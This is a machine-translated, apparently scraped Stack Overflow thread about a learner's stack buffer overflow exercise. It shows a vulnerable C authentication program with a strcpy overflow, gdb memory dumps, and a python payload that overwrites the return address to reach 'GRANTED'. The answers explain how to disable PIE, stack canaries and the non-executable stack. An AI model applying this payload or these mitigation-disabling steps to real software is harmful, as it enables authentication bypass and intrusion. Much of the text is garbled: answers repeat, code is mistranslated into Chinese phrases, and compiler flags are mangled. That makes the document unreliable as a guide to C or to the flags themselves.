can';t在gdb之外附加返回地址

can';t在gdb之外附加返回地址,c,gdb,overflow,C,Gdb,Overflow,我尝试在堆栈上使用缓冲区溢出来 重定向返回地址。我的目标是覆盖“check_auth”函数中的返回地址,main继续在第22行(“printf(“grated\n”);”)。下面是C代码: fugi@calc:~/Desktop$ gcc -g auth_overflow.c -o auth_overflow fugi@calc:~/Desktop$ gdb auth_overflow -q Reading symbols from auth_overflow...done. (gdb) lis

我尝试在堆栈上使用缓冲区溢出来 重定向返回地址。我的目标是覆盖“check_auth”函数中的返回地址,main继续在第22行(“printf(“grated\n”);”)。下面是C代码:

fugi@calc:~/Desktop$ gcc -g auth_overflow.c -o auth_overflow
fugi@calc:~/Desktop$ gdb auth_overflow -q
Reading symbols from auth_overflow...done.
(gdb) list 1
1       #include <stdio.h>
2       #include <stdlib.h>
3       #include <string.h>
4   
5       int check_auth(char *pass){
6           char pass_buff[16];
7           int auth_flag = 0;
8           strcpy(pass_buff, pass);
9   
10          if(strcmp(pass_buff, "yes") == 0)
(gdb) 
11              auth_flag = 1;
12          return auth_flag; 
13      }
14  
15      int main( int argc, char *argv[]){
16          if(argc < 2){
17              printf("Usage: %s <password>\n\n", argv[0]);
18              exit(0);
19          }
20          if(check_auth(argv[1])){
(gdb) 
21              printf("ACCESS\n");
22              printf("GRANTED\n");
23          }
24          else{
25              printf("\n Access Denied\n");
26          }
27          return 0;
28      }
我能做些什么来让它工作

我还试图通过重复地址来实现这一点,但这里的问题是,我无法打印空字节:

(gdb) x/12xg $rsp
0x7fffffffe130: 0x00007fffffffe156  0x00007fffffffe56c
0x7fffffffe140: 0x4141414141414141  0x4141414141414141
0x7fffffffe150: 0x4141414141414141  0x4141414141414141
0x7fffffffe160: 0x4141414141414141  **0x0000555555554810**
0x7fffffffe170: 0x00007fffffffe268  0x0000000200000000
0x7fffffffe180: 0x0000555555554840  0x00007ffff7a57561
为了使地址合适,我需要添加\x00\x00,但是我得到:

fugi@calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55\x00\x00")'`
**bash: warning: command substitution: ignored null byte in input**
Segmentation fault
有没有办法重复这样的地址


提前感谢您的帮助

如果您询问如何返回check_auth(),我会这样做:

int main( int argc, char *argv[]){
    if(argc < 2){
        printf("Usage: %s <password>\n\n", argv[0]);
        exit(0);
    }

    int flag = check_auth(argv[1]);

    if(flag){

        printf("ACCESS\n");
        printf("GRANTED\n");
    }else{
        printf("\n Access Denied\n");
    }
    return flag;
}
intmain(intargc,char*argv[]){
如果(argc<2){
printf(“用法:%s\n\n”,argv[0]);
出口(0);
}
int flag=check_auth(argv[1]);
国际单项体育联合会(旗){
printf(“访问权限”);
printf(“授予的”);
}否则{
printf(“\n访问被拒绝\n”);
}
返回标志;
}

实际上,我的主要语言是Java,所以如果我错了,请纠正我。我正在努力学习C语言。

如果你问如何返回check_auth(),我会这样做:

int main( int argc, char *argv[]){
    if(argc < 2){
        printf("Usage: %s <password>\n\n", argv[0]);
        exit(0);
    }

    int flag = check_auth(argv[1]);

    if(flag){

        printf("ACCESS\n");
        printf("GRANTED\n");
    }else{
        printf("\n Access Denied\n");
    }
    return flag;
}
intmain(intargc,char*argv[]){
如果(argc<2){
printf(“用法:%s\n\n”,argv[0]);
出口(0);
}
int flag=check_auth(argv[1]);
国际单项体育联合会(旗){
printf(“访问权限”);
printf(“授予的”);
}否则{
printf(“\n访问被拒绝\n”);
}
返回标志;
}

实际上,我的主要语言是Java,所以如果我错了,请纠正我。我正在努力学习C语言。

我不知道开发环境中的确切构建设置,但我可以猜到一些问题

  • 在当前的Linux环境中,启用了PIE(职位独立执行)。也就是说,您的目标地址并不总是
    0x00005554810
    。若要检查,请将此代码添加到主功能:

    printf("CODE: %p\n", (void*)main);
    
    如果此代码每次生成相同的地址,则PIE将被禁用

  • argv
    参数不能包含空字节(字符串结尾除外)。但这并不是一个关键问题,因为在x86-64系统上,它们只使用6个低字节作为虚拟地址


要禁用饼图生成:请使用-no-PIE
gcc main.c-o main-no pie

我不知道开发环境中的确切构建设置,但我可以猜到一些问题

  • 在当前的Linux环境中,启用了PIE(职位独立执行)。也就是说,您的目标地址并不总是
    0x00005554810
    。若要检查,请将此代码添加到主功能:

    printf("CODE: %p\n", (void*)main);
    
    如果此代码每次生成相同的地址,则PIE将被禁用

  • argv
    参数不能包含空字节(字符串结尾除外)。但这并不是一个关键问题,因为在x86-64系统上,它们只使用6个低字节作为虚拟地址


要禁用饼图生成:请使用-no-PIE
gcc main.c-o main-no pie

你问我如何成为一名黑客?来吧@manni66。你想让这个孩子在车后学习吗?编译/构建应用程序时存在不确定性因素。堆栈金丝雀的存在可以通过
-fno stack protector
禁用,ASLR的位置独立可执行支持可以通过
-no pie
禁用。默认情况下,堆栈通常不可执行。如果要直接从堆栈执行外壳代码,必须添加
-zexecstack
。否则,您将不得不使用面向返回的编程(有时称为Ret2Ret)、Ret2Libc或任何其他途径。资料来源:我在我妈妈的丰田花冠车后面读了《炮弹编码器手册》。你问我如何成为黑客?来吧@manni66。你想让这个孩子在车后学习吗?编译/构建应用程序时存在不确定性因素。堆栈金丝雀的存在可以通过
-fno stack protector
禁用,ASLR的位置独立可执行支持可以通过
-no pie
禁用。默认情况下,堆栈通常不可执行。如果要直接从堆栈执行外壳代码,必须添加
-zexecstack
。否则,您将不得不使用面向返回的编程(有时称为Ret2Ret)、Ret2Libc或任何其他途径。资料来源:我在我妈妈的丰田花冠车后面读了《外壳编码器手册》。非常感谢,你救了我一天。你说对了,派没有启用。如果我们没有所有这些安全特性来保护代码,溢出会更有趣;谢谢,你救了我一天。你说对了,派没有启用。如果我们没有所有这些安全特性来保护代码,溢出会更有趣;D
printf("CODE: %p\n", (void*)main);